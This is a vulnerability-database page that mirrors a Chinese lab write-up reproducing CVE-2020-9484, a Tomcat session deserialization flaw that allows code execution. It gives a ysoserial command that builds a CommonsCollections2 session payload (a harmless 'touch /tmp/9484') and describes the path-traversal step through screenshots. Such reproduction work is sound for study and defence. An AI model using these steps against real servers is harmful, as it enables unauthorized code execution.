CVE-2020-9484 PoC — Apache Tomcat 代码问题漏洞

Source

https://github.com/IdealDreamLast/CVE-2020-9484

Associated Vulnerability

Title:Apache Tomcat 代码问题漏洞 (CVE-2020-9484)
Description:Apache Tomcat是美国阿帕奇（Apache）基金会的一款轻量级Web应用服务器。该程序实现了对Servlet和JavaServer Page（JSP）的支持。 Apache Tomcat中存在代码问题漏洞。攻击者可通过控制服务器上文件的内容和名称等方法利用该漏洞执行代码。以下产品及版本受到影响：Apache Tomcat 10.0.0-M1版本至10.0.0-M4版本，9.0.0.0.M1版本至9.0.43之前版本，8.5.0版本至8.5.63之前版本，7.0.0版本至7.0.108之前版本。

Description

用Kali 2.0复现Apache Tomcat Session反序列化代码执行漏洞

Readme

# CVE-2020-9484
用Kali 2.0复现Apache Tomcat Session反序列化代码执行漏洞 CVE-2020-9484
## 环境：
1.	Kali 2.0
2.	apache-tomcat-7.0.61-CVE-2020-9484.tar.gz（webapp是s2-053，在其lib下加了commons-collections4-4.0.jar）
<br><br>
## 启动
/yourtomcatdir/bin/startup.sh
![image](https://github.com/IdealDreamLast/CVE-2020-9484/blob/master/img/start.png)
<br><br>
## 生成payload
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 "touch /tmp/9484" > /tmp/22222.session
<br><br>
## 利用

先访问S2-053看是否启动正常：
http://192.168.152.128:8080/s2-053/
![image](https://github.com/IdealDreamLast/CVE-2020-9484/blob/master/img/s2-053.png)
<br>
重新访问抓包，用intruder进行路径遍历
![image](https://github.com/IdealDreamLast/CVE-2020-9484/blob/master/img/intruder1.png)<br>
![image](https://github.com/IdealDreamLast/CVE-2020-9484/blob/master/img/intruder2.png)

<br>

执行命令成功：
![image](https://github.com/IdealDreamLast/CVE-2020-9484/blob/master/img/ok.png)

<br>
<br>
Reference ：  https://mp.weixin.qq.com/s/OGdHSwqydiDqe-BUkheTGg

File Snapshot


 [4.0K]  /data/pocs/3d306bd3ef4a76d82da0f0fa2e4f4a40a299f3ed
├── [ 19M]  apache-tomcat-7.0.61-CVE-2020-9484.tar.gz
├── [4.0K]  img
│   ├── [ 55K]  intruder1.png
│   ├── [ 87K]  intruder2.png
│   ├── [9.1K]  ok.png
│   ├── [ 10K]  s2-053.png
│   └── [ 28K]  start.png
└── [1.1K]  README.md

1 directory, 7 files

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).

3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.

Goal Reached Thanks to every supporter — we hit 100%!